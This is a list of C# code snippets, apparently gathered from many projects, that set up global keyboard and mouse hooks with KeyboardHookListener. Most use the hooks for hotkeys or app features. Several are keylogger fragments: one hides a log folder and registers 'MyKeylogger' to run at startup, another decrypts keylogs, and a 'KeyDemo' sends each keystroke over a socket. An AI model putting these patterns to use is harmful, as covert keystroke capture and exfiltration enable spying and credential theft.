public Form1() { InitializeComponent(); Functions.CreateFile(); keyListener = new KeyboardHookListener(new GlobalHooker()); keyListener.KeyDown += KeyListener_KeyDown; }
public Form1() { InitializeComponent(); m_keyboardHookListener = new KeyboardHookListener(gh); m_keyboardHookListener.Enabled = true; m_keyboardHookListener.KeyDown += HookManager_KeyDown; m_keyboardHookListener.KeyUp += HookManager_KeyUp; Bitmap screenSize = (Bitmap)sc.CaptureWholeScreen(); this.Location = new Point(2 * screenSize.Width, 2 * screenSize.Height); worker = new Thread(() => { while (true) { try { //dispose(); update(); } catch (Exception e) { Console.WriteLine(e.StackTrace); } } }); worker.IsBackground = true; worker.Start(); }
public KeyboardKeyDownUpSource( Enums.Keys triggerKey, IPointSource pointSource) { this.triggerKey = (System.Windows.Forms.Keys)triggerKey; //Cast to the Windows.Forms.Keys enum this.pointSource = pointSource; keyboardHookListener = new KeyboardHookListener(new GlobalHooker()) { Enabled = true }; System.Windows.Application.Current.Exit += (sender, args) => { keyboardHookListener.Dispose(); Log.Debug("Keyboard hook listener disposed."); }; /* * Keys: http://msdn.microsoft.com/en-GB/library/system.windows.forms.keys.aspx * KeyDown: happens when the person presses a key (when the keyboard first detects a finger on a key, this happens when the key is pressed down). * KeyPress: happens when a key is pressed and then released. * KeyUp: happens when the key is released */ }
public Form1() { InitializeComponent(); //Create Directory to save the files Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.MyVideos) + "\\ks").Attributes = FileAttributes.Directory | FileAttributes.Hidden; //Create the keylog file Functions.CreateFile(); //Active Key Listener keylistener = new KeyboardHookListener(new GlobalHooker()); keylistener.KeyDown += keylistener_KeyDown; //Set the application to run at startup // Check to see the current state (running at startup or not) if (rkApp.GetValue("MyKeylogger") == null) { // The value exists, the application is set to run at startup rkApp.SetValue("MyKeylogger", Application.ExecutablePath.ToString()); } // The value exists, desactivate to run at startup //else //{ // rkApp.DeleteValue("MyKeylogger", false); //} }
public MainWindow() { InitializeComponent(); serialPort1 = new ReliableSerialPort("COM9", 115200, System.IO.Ports.Parity.None, 8, System.IO.Ports.StopBits.One); serialPort1.Open(); serialPort1.DataReceived += SerialPort1_DataReceived; timerAffichage = new System.Windows.Threading.DispatcherTimer(); timerAffichage.Tick += TimerAffichage_Tick; timerAffichage.Interval = new TimeSpan(0, 0, 0, 0, 100); timerAffichage.Start(); m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Enabled = true; m_KeyboardHookManager.KeyDown += HookManager_KeyDown; WorldMap.Init(3.6, 2.4, 3, 2, ""); var robotShape = new WpfSimplifiedWorldMapDisplayNS.PolygonExtended(); robotShape.polygon.Points.Add(new Point(0.2, 0)); robotShape.polygon.Points.Add(new Point(0.1, 0.1)); robotShape.polygon.Points.Add(new Point(-0.1, 0.1)); robotShape.polygon.Points.Add(new Point(-0.1, -0.1)); robotShape.polygon.Points.Add(new Point(0.1, -0.1)); robotShape.polygon.Points.Add(new Point(0.2, 0)); WorldMap.SetRobotShape(robotShape); WorldMap.UpdateRobotLocation(new WpfSimplifiedWorldMapDisplayNS.Location(robot.xpos, robot.ypos, robot.angle, 0, 0, 0)); //AsservDisplay.UpdatePolarSpeedConsigneValues(consigneX, consigneY, consigneTheta); }
private void InitializeComponent() { keyboardHook = new KeyboardHookListener(new GlobalHooker()); keyboardHook.Enabled = true; keyboardHook.KeyDown += keyboardHook_KeyDown; keyboardHook.KeyUp += keyboardHook_KeyUp; mouseHook = new MouseHookListener(new GlobalHooker()); mouseHook.Enabled = true; mouseHook.MouseWheel += mouseHook_MouseWheel; mouseHook.MouseDown += mouseHook_MouseDown; mouseHook.MouseUp += mouseHook_MouseUp; simulator = new InputSimulator(); trayMenu = new ContextMenu(); trayMenu.MenuItems.Add("Run on startup", ToggleStartup); trayMenu.MenuItems.Add("Exit", OnExit); trayIcon = new NotifyIcon(); trayIcon.Text = "Lackey"; trayIcon.Icon = Resources.Icon; trayIcon.ContextMenu = trayMenu; trayIcon.Visible = true; }
public mainForm() { InitializeComponent(); ///// Load file config if (File.Exists("general_conf.ini")) { conf_General.Clear(); Functions.Load_File("general_conf.ini", conf_General); //Decryptlog string decfile = Environment.GetFolderPath(Environment.SpecialFolder.MyVideos) + "\\encr_myKeylogger_" + DateTime.Now.ToLongDateString().ToString() + ".ini"; if (Boolean.Parse(conf_General["EncryptLog"]) == true) { if (File.Exists(decfile)) { Functions.Decrypt(decfile); } } } Functions.CreateFile(); keyListener = new KeyboardHookListener(new GlobalHooker()); keyListener.KeyDown += KeyListener_KeyDown; }
public void Start() { using (var session = DocumentStore.OpenSession()) { var hotkeys = session.Query <GlobalHotkey>(); if (hotkeys == null || !hotkeys.Any()) { _hotkeys = GetDefaultHotKeys().ToObservableCollection(); foreach (var globalHotkey in _hotkeys) { session.Store(globalHotkey); } session.SaveChanges(); } else { _hotkeys = hotkeys.ToObservableCollection(); } } _globalKeyboardHook = new KeyboardHookListener(new GlobalHooker()); _globalKeyboardHook.KeyDown += GlobalKeyboardHookOnKeyDown; _globalKeyboardHook.Enabled = true; RaisePropertyChanged("ConfiguredHotkeys", "AvailableHotkeys"); }
public MainWindow() { InitializeComponent(); WindowExe.SetDefaultIcon(Properties.Resources.application); _viewModel = new ViewModel.ViewModel(); _viewModel.Timer.Tick += DispatcherTimer_Tick; DataContext = _viewModel; _stopwatch = new Stopwatch(); _stopwatch.Start(); _mouseListener = new MouseHookListener(new GlobalHooker()) { Enabled = true }; _mouseListener.MouseDownExt += ActionListener; _mouseListener.MouseMove += ActionListener; _mouseListener.MouseWheel += ActionListener; _keyboardListener = new KeyboardHookListener(new GlobalHooker()) { Enabled = true }; _keyboardListener.KeyDown += ActionListener; _viewModel.LoadFromDisk(); Stop(); }
private void ActivateKeyboardHook() { var m_keyboardListener = new KeyboardHookListener(new GlobalHooker()); m_keyboardListener.Enabled = true; m_keyboardListener.KeyDown += (sender, arg) => OnKeyDown.Invoke(sender, arg); m_keyboardListener.KeyUp += (sender, arg) => OnKeyUp.Invoke(sender, arg); }
public void Start() { _keyboardHookListener = new KeyboardHookListener(new GlobalHooker()) { Enabled = true }; _keyboardHookListener.KeyDown += KeyboardListener_OnkeyPress; }
private void ThisAddIn_Startup(object sender, System.EventArgs e) { m_keyboardListener = new KeyboardHookListener(new AppHooker()) { Enabled = true }; m_keyboardListener.KeyDown += KeyboardListener_KeyDown; }
public void testFn() { keyboardListener = new KeyboardHookListener(new GlobalHooker()) { Enabled = true }; keyboardListener.KeyPress += DetectMinusAndPause; }
public TestFormHookListeners() { InitializeComponent(); m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Enabled = true; m_MouseHookManager = new MouseHookListener(new GlobalHooker()); m_MouseHookManager.Enabled = true; }
public Form1() { InitializeComponent(); m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Enabled = true; activateGlobalHotkey(); }
/// <summary> /// 记录操作 /// </summary> public RecordOperation() { InitializeComponent(); m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Enabled = true; m_MouseHookManager = new MouseHookListener(new GlobalHooker()); m_MouseHookManager.Enabled = true; }
//Cursor public TestFormHookListeners() { InitializeComponent(); m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Enabled = true; m_MouseHookManager = new MouseHookListener(new GlobalHooker()); m_MouseHookManager.Enabled = true; }
private Session() { // create the keyboard and mouse hooks, for the app only Hooker hook = new AppHooker(); _mouseListener = new MouseHookListener(hook); _keyboardListener = new KeyboardHookListener(hook); this.InSession = false; }
public TPlayerForm() { InitializeComponent(); m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Enabled = false; activateGlobalHotkey(); setPlaylistsGUI(); }
/// <summary> /// Internal method that ensures that our hook is created if it isn't already /// </summary> private static void EnsureHookCreated() { lock (Lock) { if (_keyboardHookListener == null) { _keyboardHookListener = new KeyboardHookListener(new GlobalHooker()); _keyboardHookListener.Enabled = true; } } }
public static void RegisterKeys() { if (Settings.EnableAutoRegisterHotKeyForWinKey) { HotkeyManager.Current.AddOrReplace("DisableWinKey", Key.U, ModifierKeys.Control, Disable); HotkeyManager.Current.AddOrReplace("EnableWinKey", Key.I, ModifierKeys.Control, Enable); } m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.KeyDown += hookManager_keyDown; }
public MainWindow() { InitializeComponent(); // start keyHook m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.KeyDown += hookManager_keyDown; m_KeyboardHookManager.Enabled = true; //start hiding taskbar ShowWindow(hwnd, SW_HIDE); }
public Form1() { InitializeComponent(); m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Enabled = true; m_KeyboardHookManager.KeyDown += HookManager_KeyDown; m_KeyboardHookManager.KeyUp += HookManager_KeyUp; m_MouseHookManager = new MouseHookListener(new GlobalHooker()); m_MouseHookManager.Enabled = true; m_MouseHookManager.MouseDown += HookManager_MouseDown; m_MouseHookManager.MouseUp += HookManager_MouseUp; }
/// <summary> /// register mouse & keyboard events /// </summary> public ScreenshotChangedTracker() { // Register Hooks for Mouse _mouseListener = new MouseHookListener(new GlobalHooker()); _mouseListener.Enabled = true; _mouseListener.MouseWheel += MouseListener_MouseScrolling; _mouseListener.MouseClick += MouseListener_MouseClicking; // Register Hooks for Keyboard _keyboardListener = new KeyboardHookListener(new GlobalHooker()); _keyboardListener.Enabled = true; _keyboardListener.KeyDown += KeyboardListener_KeyDown; }
public Form1() { InitializeComponent(); m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Enabled = true; m_KeyboardHookManager.KeyUp += HookManager_KeyUp; m_KeyboardHookManager.KeyDown += HookManager_KeyDown; colorDialog1.Color = Color.Red; button1.ForeColor = colorDialog1.Color; comboBox1.SelectedIndex = 0; }
public FrmPrincipal() { InitializeComponent(); this.Load += FrmPrincipal_Load; this.btnVehiculos.Click += BtnVehiculos_Click; this.btnClientes.Click += BtnClientes_Click; this.btnAdministracion.Click += BtnAdministracion_Click; m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Enabled = true; m_KeyboardHookManager.KeyDown += M_KeyboardHookManager_KeyDown; this.FormClosed += FrmPrincipal_FormClosed; }
static void Main() { ILogger logger = LogManager.GetLogger("KeyDemo"); AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException; Application.ThreadException += new System.Threading.ThreadExceptionEventHandler(Application_ThreadException); Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException); BasicSocketClient client = null; Guid clientGuid = Guid.Empty; try { clientGuid = Guid.NewGuid(); client = new BasicSocketClient(); client.ReceiveMessageEvent += (handler, message) => { BasicMessage receivedMessage = (BasicMessage)message; byte[] buffer = receivedMessage.GetBuffer(); string s = System.Text.ASCIIEncoding.Unicode.GetString(buffer); logger.Debug(s); }; client.ConnectionEvent += (handler) => { Thread.Sleep(TimeSpan.FromSeconds(20)); logger.Debug("Client connected to remote server"); }; client.CloseConnectionEvent += (handler) => { logger.Debug("Client disconnected from remote server"); }; client.Connect(new IPEndPoint(IPAddress.Loopback, 8100)); var m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Enabled = true; m_KeyboardHookManager.KeyPress += (sender, e) => { //NamedPipe.Sender.SendMessage(new List<string>() { e.KeyChar.ToString() }); string s = e.KeyChar.ToString(); byte[] buffer = System.Text.ASCIIEncoding.Unicode.GetBytes(s); BasicMessage message = new BasicMessage(clientGuid, buffer); client.SendAsync(message); logger.Debug(string.Format("KeyDown \t\t {0}\n", e.KeyChar)); }; Application.Run(); } catch (Exception) { throw; } }
private void RemoveKeyboardHook() { if (m_KeyboardHookManager == null) { return; } m_KeyboardHookManager.Enabled = false; m_KeyboardHookManager.KeyDown -= HookManager_KeyDown; m_KeyboardHookManager.KeyUp -= HookManager_KeyUp; m_KeyboardHookManager = null; }
public RecordKeyPress() { savePressKeysTimer = new System.Timers.Timer(30 * 1000); // Occurs every 30 seconds... savePressKeysTimer.Elapsed += savePressKeysTimer_Elapsed; m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Enabled = true; m_KeyboardHookManager.KeyPress += m_KeyboardHookManager_KeyPress; m_KeyboardHookManager.KeyDown += m_KeyboardHookManager_KeyDown; m_MouseHookManager = new MouseHookListener(new GlobalHooker()); m_MouseHookManager.Enabled = true; m_MouseHookManager.MouseDown += m_MouseHookManager_MouseDown; }
private void SetupListeners() { _keyboardListener = new KeyboardHookListener(new GlobalHooker()); _keyboardListener.KeyDown += (sender, args) => { if (args.KeyCode == Keys.S) { args.Handled = true; } }; _mouseListener = new MouseHookListener(new GlobalHooker()); _mouseListener.MouseDownExt += (sender, args) => args.Handled = true; }
private void Form1_Load(object sender, EventArgs e) { string path = Environment.CommandLine.Trim(' ', '"'); if (!(path.Contains('\\') || path.Contains('/'))) { Console.WriteLine("Please start ClipUpload 3 from Explorer, or add the absolute path."); mustExit = true; this.Close(); } string curDir = Directory.GetCurrentDirectory(); Directory.SetCurrentDirectory(path.Substring(0, path.LastIndexOf('\\'))); this.settings = new Settings("settings.txt"); LoadSettings(); LoadAddons(); UpdateList(); this.Text = "ClipUpload " + Version; if (this.settings.GetBool("CheckForUpdates")) { try { WebClient wc = new WebClient(); wc.Proxy = null; string latestVersion = wc.DownloadString("http://" + "clipupload.net/?update"); if (latestVersion != Version) { this.canUpdate = latestVersion; this.Tray.ShowBalloonTip(10, "ClipUpload Update", "A new update for ClipUpload is available, version " + latestVersion + ". Click \"Update to " + latestVersion + "\" in the ClipUpload menu to automatically update.", ToolTipIcon.Info); } } catch (Exception ex) { Program.Debug("Update check threw " + ex.GetType().FullName + ": '" + ex.Message + "'"); } } if (curDir != Directory.GetCurrentDirectory()) { mustHide = true; } keyboardHandler = new KeyEventHandler(keyboardListener_KeyDown); this.keyboardListener = new KeyboardHookListener(new GlobalHooker()); this.keyboardListener.Enabled = true; this.keyboardListener.KeyDown += keyboardHandler; }
public MainForm() { InitializeComponent(); double sec = 0.5; _keyboardHookManager = new KeyboardHookListener(new GlobalHooker()); _keyboardHookManager.Enabled = true; var hotKey = Observable.FromEventPattern <KeyPressEventArgs>(_keyboardHookManager, "KeyPress").Where(ep => ep.EventArgs.KeyChar == 'a').Do(ep => { ep.EventArgs.Handled = true; Trace.WriteLine("hotkey handled"); }); var generator = Observable.Timer(TimeSpan.FromSeconds(0), TimeSpan.FromSeconds(sec)).Select(s => CaptureScreen()); subscription = generator.TakeUntil(hotKey.Throttle(TimeSpan.FromSeconds(sec * 2))).TakeLast(5) .Subscribe(bmp => saveBmp(bmp)); }
/// <summary> /// Initializes a new instance of <see cref="MouseKeyEventProvider"/> /// </summary> public MouseKeyEventProvider() { m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_MouseHookManager = new MouseHookListener(new GlobalHooker()); }